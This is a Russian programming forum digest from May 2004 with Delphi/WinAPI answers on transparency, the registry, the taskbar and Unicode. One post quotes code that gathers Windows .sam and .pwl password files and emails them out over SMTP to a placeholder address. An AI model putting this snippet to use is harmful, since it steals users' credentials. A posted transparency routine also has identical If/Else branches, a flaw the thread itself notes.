Отправляет email-рассылки с помощью сервиса Sendsay

Программирование. Форум !!!

За 2004-05-08

Re[2]: WinAPI|Delphi - Transparent

-=[Прив!]=-
8 мая 2004 г. /суббота 12:44:13/ Томилов |E-Mail: <mailto:astero***@p*****.ru>|
в мессаге <<WinAPI|Delphi - Transparent>> накрапал:
[B~E~G~I~N~>

BorMan хватит удалять письма - этот вопрос был уже несколько раз
(первый раз я задал ;) tnx moderator)

[E|.|N|.|D|.>

Да меня тут вирь здорово потрепал (~140 зараженных файликов было, в том числе
и часть БАТ'овских папок :( ), так что пришлось грохнуть часть рассылки :(

Короче, спасибо за помощь, вопрос закрыт, буду разбиратся, так как ты там чего-то
напутал (мне так кажется)!!!

If Timer.Tag > 0 Then
SetLayeredWindowAttributes(Handle, clBlack, Timer.Tag, LWA_ALPHA or LWA_COLORKEY)
Else
SetLayeredWindowAttributes(Handle, clBlack, Timer.Tag, LWA_ALPHA or LWA_COLORKEY);

В If и Else абсолютно одинаковые строки! :(

P.s. И остальные вопросы на тему WinAPI|Delphi ... тоже!

   "-=[-B0rMaN-]=-" 2004-05-08 22:37:54 (#141044)

Re: WinAPI|Delphi - TaskBAr

Об отправке вложения нашел статью маленькую
http://ximka.narod.ru/Alg.htm:
Отправка сообщения по email
Используем компонент : TNMSMTP
NMSMTP1.Host := 'server'; // пример smtp.mail.ru
NMSMTP1.Port := 25;
NMSMTP1.UserID := 'ID';
NMSMTP1.Connect;
NMSMTP1.PostMessage.ToAddress.Text := 'name@s*****.com';
NMSMTP1.PostMessage.Body.Text := Memo1.Text;
NMSMTP1.SendMail;

Поиск нужных файлов и отправка их
Используем компонент : TNMSMTP
Будем скачивать файлы pwl & sam
reg : TRegistry;
f : TSearchRec;
St : String;
NMSMTP1 : TNMSMTP;
Memo1 : TMemo1;

reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion',false);
St := reg.ReadString('SystemRoot');
reg.CloseKey;

if FindFirst(st+'\*.sam',faAnyFile,f) = 0 then
repeat
NMSMTP1.PostMessage.Attachments.Add(st+'\'+f.Name);
until FindNext(f) <> 0;

if FindFirst(st+'\*.pwl',faAnyFile,f) = 0 then
repeat
NMSMTP1.PostMessage.Attachments.Add(st+'\'+f.Name);
until FindNext(f) <> 0;

NMSMTP1.Host := 'server'; // пример smtp.mail.ru
NMSMTP1.Port := 25;
NMSMTP1.UserID := 'ID';
NMSMTP1.Connect;
NMSMTP1.PostMessage.ToAddress.Text := 'name@s*****.com';
NMSMTP1.PostMessage.Body.Text := Memo1.Text;
NMSMTP1.SendMail;

   2004-05-08 17:40:37 (#140935)

Re: Атаччи Delphi

Тема: Атаччи Delphi
> Народ, как закачать приатаченый к письму документ? Все нужно замутить на Delphi!
begin
with Outlook.CreateItem(olMailItem) as mailitem do
begin
To_ := 'ema***@e*****.com';
cc:='emai***@e*****.com';
Subject := 'This is subject line';
Attachments.Add('FileName',1,1,'This is attachment');
Body :='This is email body';
Send;
end;
end;

   2004-05-08 16:03:00 (#140905)

Re[2]: Delphi Registry

Здоровеньки булы, Surin_bp!

8 мая 2004 г., суббота, 10:09:02 (GMT+05:00), пришел ко мне
почтальон Почкин и всучил письмо с пометкой "Delphi Registry",
в котором сообщалось следующее:

S> Тема: Delphi Registry
>> Почему ключик в файл не пишется???
S> Нужно открыть его
S> OpenKey(RegPath,true);

Ничего открывать не надо - SaveKey просто не работает в NT-хах (Delphi 5)
Кстати, проверил - в Win98 - работает.

   Томилов Александр 2004-05-08 14:48:31 (#140871)

Re: Delphi+реестр

Здоровеньки булы, Gift!

7 мая 2004 г., пятница, 21:30:59 (GMT+05:00), пришел ко мне
почтальон Почкин и всучил письмо с пометкой "Delphi+реестр",
в котором сообщалось следующее:

G> Как найти определенную ветвь в реестре и работать с ее ветвями???

Я так понял тебе нужен поиск - тогда берешь стандартную рекурсивную
функцию поиска файлов и переделываешь под registry

Reg.GetKeyNames - VCL
RegEnumKeyEx - API

Если тебе просто надо открыть конкретную
ветку -> Reg.OpenKey -> F1 -> example

   Томилов Александр 2004-05-08 13:18:01 (#140840)

Re: Delphi Registry

Здоровеньки булы, -=[-B0rMaN-]=-!

3 мая 2004 г., понедельник, 20:56:28 (GMT+05:00), пришел ко мне
почтальон Почкин и всучил письмо с пометкой "Delphi Registry",
в котором сообщалось следующее:

B> Reg := TRegistry.Create;
B> try
B> Reg.RootKey := HKEY_CURRENT_USER;
B> if Reg.SaveKey('Software','d:\1') then ShowMessage('OK!');
B> finally
B> Reg.Free;
B> inherited;
B> end;

SaveKey - лажа полная, IMHO будет работать только в win9x/Me (и то я
не уверен, а проверять лень) в NT-хах работать не будет по определению.
Сразу определюсь:
а) файл в который будет сохраняться ключ - это не тот
который получается сохранением в regedit;
б) Если ключ открыт - сохранит, но загрузить не сможет (а открытым
держать ключ может кто угодно)
в) В NT-хах (NT 4.0, Win2000, WinXP) нужно сидеть либо под админом,
либо под системой, либо под оператором архива. В Win9x/Me - не
пробовал.

Если пункт а) тебя не устраивает юзай следующее:
Save.bat:
regedit /e Save.reg HKEY_CURRENT_USER\SoftWare\Borland

Если пункты а) и в) не проблема, то держи код:

function GetErrorMessage(ErrorCode: integer): string;
const BUFFER_SIZE = 1024;
var lpMsgBuf: Pchar;
LangID: DWORD;
begin
lpMsgBuf := AllocMem(BUFFER_SIZE);
LangID := GetUserDefaultLangID;
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_IGNORE_INSERTS,
nil, ErrorCode, LangID, lpMsgBuf, BUFFER_SIZE, nil);
Result := StrPas(lpMsgBuf);
FreeMem(lpMsgBuf);
end;

function GetBackupPrivileges: DWORD; stdcall;
var hToken: THandle;
tp: _TOKEN_PRIVILEGES;
returnLength: Cardinal;
begin
if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken)
then
if LookupPrivilegeValue(nil, 'SeBackupPrivilege', tp.Privileges[0].Luid)
then
begin
tp.PrivilegeCount := 1;
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, tp, 0, nil, returnLength)
end;
Result := GetLastError;
end;

function SaveKey(RootKey: HKEY; Key: String; FileName: string): DWORD;
var regKey: HKEY;
begin
if FileExists(FileName) then DeleteFile(FileName);
Result := RegOpenKeyEx(RootKey, PChar(Key), 0, KEY_ALL_ACCESS, regKey);
if Result = ERROR_SUCCESS then
try
Result := GetBackupPrivileges;
if Result = ERROR_SUCCESS
then Result := RegSaveKey(regKey, PChar(FileName), nil);
finally
RegCloseKey(regKey);
end;
end;

function GetRestorePrivileges: DWORD; stdcall;
var hToken: THandle;
tp: _TOKEN_PRIVILEGES;
returnLength: Cardinal;
begin
if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken)
then
if LookupPrivilegeValue(nil, 'SeRestorePrivilege', tp.Privileges[0].Luid)
then
begin
tp.PrivilegeCount := 1;
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, tp, 0, nil, returnLength)
end;
Result := GetLastError;
end;

function LoadKey(RootKey: HKEY; Key: String; FileName: string): DWORD;
var regKey: HKEY;
begin
Result := RegOpenKeyEx(RootKey, PChar(Key), 0, KEY_ALL_ACCESS, regKey);
if Result = ERROR_FILE_NOT_FOUND then
Result := RegCreateKey(RootKey, PChar(Key), regKey);
if Result = ERROR_SUCCESS then
try
Result := GetRestorePrivileges;
if Result = ERROR_SUCCESS
then Result := RegRestoreKey(regKey, PChar(FileName), 0);
finally
RegCloseKey(regKey);
end;
end;

procedure TForm1.SaveButtonClick(Sender: TObject);
begin
// ShowMessage(GetErrorMessage(SaveKey(HKEY_CURRENT_USER, 'Software\1', 'd:\reg')));
ShowMessage(
GetErrorMessage(
SaveKey(
HKEY_CURRENT_USER,
'Software\Borland\Delphi',
ExtractFilePath(Paramstr(0))+'reg'
)
)
);
end;

procedure TForm1.LoadButtonClick(Sender: TObject);
begin
// ShowMessage(GetErrorMessage(LoadKey(HKEY_CURRENT_USER, 'Software\1', 'd:\reg')));
ShowMessage(
GetErrorMessage(
LoadKey(
HKEY_CURRENT_USER,
'Software\Borland\Delphi',
ExtractFilePath(Paramstr(0))+'reg'
)
)
);
end;

   Томилов Александр 2004-05-08 13:17:28 (#140839)

Re: WinAPI|Delphi - TaskBAr

Здоровеньки булы, -=[-B0rMaN-]=-!

6 мая 2004 г., четверг, 16:24:19 (GMT+05:00), пришел ко мне
почтальон Почкин и всучил письмо с пометкой "WinAPI|Delphi - TaskBAr",
в котором сообщалось следующее:

B> Народ, как мне скрыть кнопку (только кнопку, а не форму) моего приложения
в Таскбар"е?

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowWindow(Application.Handle,SW_Hide);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ShowWindow(Application.Handle,SW_SHOW);
end;

можно еще так:
SetWindowLong(Application.Handle,GWL_EXSTYLE,GetWindowLong(Application.Handle,
GWL_EXSTYLE) and not WS_EX_APPWINDOW or WS_EX_TOOLWINDOW);

но это будет работать только в процедуре FormCreate

   Томилов Александр 2004-05-08 13:16:53 (#140838)

Re: WinAPI|Delphi - Transparent

Здоровеньки булы, -=[-B0rMaN-]=-!

7 мая 2004 г., пятница, 22:22:22 (GMT+05:00), пришел ко мне
почтальон Почкин и всучил письмо с пометкой "WinAPI|Delphi - Transparent",
в котором сообщалось следующее:

B> Как сделать окно прозрачным (полупрозрачным)???

BorMan хватит удалять письма - этот вопрос был уже несколько раз
(первый раз я задал ;) tnx moderator)

function SetLayeredWindowAttributes(HWND: hwnd; crKey: COLORREF; bAlpha: BYTE;
dwFlags: DWORD): BOOL; stdcall; external 'User32.dll';

procedure TFormMain.TimerTimer(Sender: TObject);
const LWA_ALPHA=2;
LWA_COLORKEY=1;
begin
If Timer.Tag = 255 Then Timer.Tag := -255;
If Timer.Tag > 0 Then
SetLayeredWindowAttributes(Handle, clBlack, Timer.Tag, LWA_ALPHA or LWA_COLORKEY)
Else
SetLayeredWindowAttributes(Handle, clBlack, Timer.Tag, LWA_ALPHA or LWA_COLORKEY);
Timer.Tag := Timer.Tag+1;

end;

   Томилов Александр 2004-05-08 13:16:22 (#140837)

Re: WinAPI|Delphi - Moving

Здоровеньки булы, -=[-B0rMaN-]=-!

6 мая 2004 г., четверг, 16:57:52 (GMT+05:00), пришел ко мне
почтальон Почкин и всучил письмо с пометкой "WinAPI|Delphi - Moving",
в котором сообщалось следующее:

B> Как сделать так, чтоб окно можно было тягать не только за Caption?

Цитирую

Как сделать окно, которое перетаскивается не за заголовок (caption), а за все
поле

Нужно обрабатывать сообщение WM_NCHITTEST:

TForm1 = class(TForm)
...
private
...
procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest;
...
end;

...
procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);
begin
inherited; { вызов унаследованного обработчика }
if M.Result = htClient then { Мышь сидит на окне? }
M.Result := htCaption; { Если да - то пусть Windows думает, что }
{ мышь на caption bar }
end;
...

Окно можно сделать вообще без caption.

   Томилов Александр 2004-05-08 12:24:48 (#140815)

Re[3]: [Delphi6]подсветка HTML

Здоровеньки булы, Grief!

7 мая 2004 г., пятница, 09:20:41 (GMT+05:00), пришел ко мне
почтальон Почкин и всучил письмо с пометкой "[Delphi6]подсветка HTML",
в котором сообщалось следующее:

k>>> Как можно подсветить HTML теги в richedit'е?
k>>> Может у кого-нибудь есть пример?

ТА>> А что там особенного?
ТА>> Ищешь '<' - pos('<', s)
TA>> Ищешь '>' - pos('>', s)
ТА>> Richedit.SelStart
ТА>> Richedit.SelLength
ТА>> Richedit.SelAttributes.Color
ТА>> Затем ищешь следующее вхождение '<'

G> Пристально исходник не изучал, но сдается мне, что он неправильно
G> подсветит, к примеру
G> <code>< text</code>
G> или
G> <a href='javascript: alert(">;->");'>click</a>

Ну блин я же общий принцип привел а не готовую к продаже прогу. Да и
html я не увлекаюсь поэтому и не подумал о существовании таких
случаев.

   Томилов Александр 2004-05-08 12:24:10 (#140814)

Unicode (Delphi5 win2k)

Аллоха, ALL!
В этот знаменательный день 8 мая 2004 г.
пиво ударило мне в голову, и я наскреб:

Кто-нибудь знает как отобразить в RichEdit (label, button, canvas -
без разницы лишь бы работало) строку в Unicode
например
'x+'+#8730+'x+'+#179+#8730+'x=0'
из этого должно получиться
x+Корень квадратный из x + Корень кубический из x = 0
Номера символов я брал из фонта Arial с помощью таблицы символов
(win2000). Причем если скопировать из таблицы символов в Word то
формула отображается верно.
На данный момент я сделал вот так, но это через жо..:
procedure TForm1.Button1Click(Sender: TObject);
type
EquString = record
str:string;
arr: array [0..9,0..1] of integer;
end;
const
EquationString: EquString = (str:'x+'+#251+'x+'+#179+#251+'x=0'; arr:
( (2,1),(5,1),(6,1),(0,0),(0,0),(0,0),(0,0),(0,0),(0,0),(0,0)));
var i:integer;
begin
RichEdit1.Font.Name:='Arial';
RichEdit1.Font.Charset:=ANSI_CHARSET;
RichEdit1.Text:=EquationString.str;

for i:=0 to 9 do
begin
if EquationString.arr[i][1]=0 then break;
Richedit1.SelStart:=EquationString.arr[i][0];
Richedit1.SelLength:=EquationString.arr[i][1];
if i mod 2=0 then Richedit1.SelAttributes.Charset:=OEM_CHARSET
else Richedit1.SelAttributes.Charset:=ANSI_CHARSET;
end;
Richedit1.SelLength:=0;
end;

символ 251 - в OEM = 8730 Unicode = корень

PS: IsValidCodePage вообще какую-то чушь выдает (через GetLasterror):

function GetErrorMessage(ErrorCode: integer): string;
const BUFFER_SIZE = 1024;
var lpMsgBuf: Pchar;
LangID: DWORD;
begin
lpMsgBuf := AllocMem(BUFFER_SIZE);
LangID := GetUserDefaultLangID;
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_IGNORE_INSERTS,
nil, ErrorCode, LangID, lpMsgBuf, BUFFER_SIZE, nil);
Result := StrPas(lpMsgBuf);
FreeMem(lpMsgBuf);
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
IsValidCodePage(1251); // 1251 Windows 3.1 Cyrillic
showmessage(GetErrorMessage(GetLasterror));
IsValidCodePage(1200); //1200 Unicode (BMP of ISO 10646)
showmessage(GetErrorMessage(GetLasterror));
end;

   Томилов Александр 2004-05-08 12:02:31 (#140809)

Re: Minimizing Delphi Forms

Hello -=[-B0rMaN-]=-,

Monday, May 3, 2004, 10:31:39 PM, you wrote:

B> Привет! Как правильно свернкть форму в TAsk Bar? WS_Minimized -
B> галимая штука - не сворачевает :(

Послать окну сообщение WM_SysCommand с wParam=SC_Minimize.

   2004-05-08 11:38:16 (#140801)

Re: Атаччи Delphi

Hello -=[-B0rMaN-]=-,

Monday, May 3, 2004, 8:13:45 PM, you wrote:

B> Народ, как закачать приатаченый к письму документ? Все нужно
B> замутить на Delphi!

Почитай описание стандарта POP3, формата заголовка письма... Или
(наверное) найти в сети класс, который работает с почтовым сервером
сам %-)

   2004-05-08 11:37:42 (#140798)

Re: WinAPI|Delphi - Moving

Тема: WinAPI|Delphi - Moving
> Как сделать так, чтоб окно можно было тягать не только за Caption?
Обрабатывать OnMouseXXX: нажал - "зацепил",.... Если не удастся - поишу после
лекций - была статья на эту тему

   2004-05-08 09:26:45 (#140738)
  • 1
  • 2